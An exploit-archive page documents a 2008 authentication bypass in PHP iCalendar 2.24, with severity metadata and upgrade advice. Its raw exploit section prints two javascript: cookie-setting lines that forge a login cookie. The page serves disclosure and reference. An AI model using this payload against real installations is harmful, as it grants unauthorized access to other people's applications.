header-logo
Suggest Exploit
vendor:
PHP iCalendar
by:
Stack
7.5
CVSS
HIGH
Insecure Cookie Handling
384
CWE
Product Name: PHP iCalendar
Affected Version From: 2.24
Affected Version To: 2.24
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

PHP iCalendar <= 2.24 Insecure Cookie Handling Vulnerability

A vulnerability in PHP iCalendar version 2.24 allows an attacker to set arbitrary cookies by using a specially crafted JavaScript code. This can be used to bypass authentication and gain access to the application.

Mitigation:

Upgrade to the latest version of PHP iCalendar.
Source

Exploit-DB raw data:

###############################################################################################
[+] PHP iCalendar <= 2.24 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack                
[+] Greetz : All my freind               
################################################################################################
---
exploit:
javascript:document.cookie = "phpicalendar_login=1; path=/";
javascript:document.cookie = "phpicalendar=1; path=/";

# milw0rm.com [2008-09-22]

Navigation

Suggest Exploit

Services By CQR